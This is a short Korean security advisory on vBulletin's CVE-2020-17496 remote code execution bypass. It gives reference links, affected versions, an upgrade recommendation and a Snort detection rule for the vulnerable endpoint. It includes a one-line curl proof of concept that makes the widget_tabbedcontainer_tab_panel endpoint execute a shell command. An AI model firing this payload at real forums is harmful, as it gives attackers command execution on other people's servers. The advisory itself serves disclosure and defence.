[CVE 취약점] vBulletin 원격 코드 실행 취약점 우회 취약점(CVE-2020-17496)

[CVE 취약점] vBulletin 원격 코드 실행 취약점 우회 취약점(CVE-2020-17496)

참조

> https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed

> https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/

> https://blog.alyac.co.kr/3180?category=750247

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17496

> https://www.exploit-db.com/exploits/48743

Poc 

curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("id"); exit;'

개요

포럼 소프트웨어 중 하나인 vBulletin 내 제로데이 취약점의 PoC 익스플로잇 코드가 공개됨

2019년에 발견되어 CVE-2019-16759로 등록된 이전 vBulletin 제로데이 취약점을 수정하는 패치를 우회하는 취약점(CVE-2020-17496)

https://jeongzzang.com/173

영향 받는 제품 버전

vBulletin 5.5.4 ~ 5.6.2는 ajax/render/widget_tabbedcontainer_tab_panel 요청에서 제작 된 하위 위젯 데이터를 통해 원격 명령 실행을 허용

  ※ vBulletin Cloud 사이트는이 문제의 영향없음

방안

vBulletin 5.6.2 이상으로 패치 업그레이드 

Snort  

alert tcp any any -> any any (sid:1; gid:1; uricontent:"/ajax/render/widget_tabbedcontainer_tab_panel"; nocase; msg:"vBulletin RCE_CVE-2020-17496";)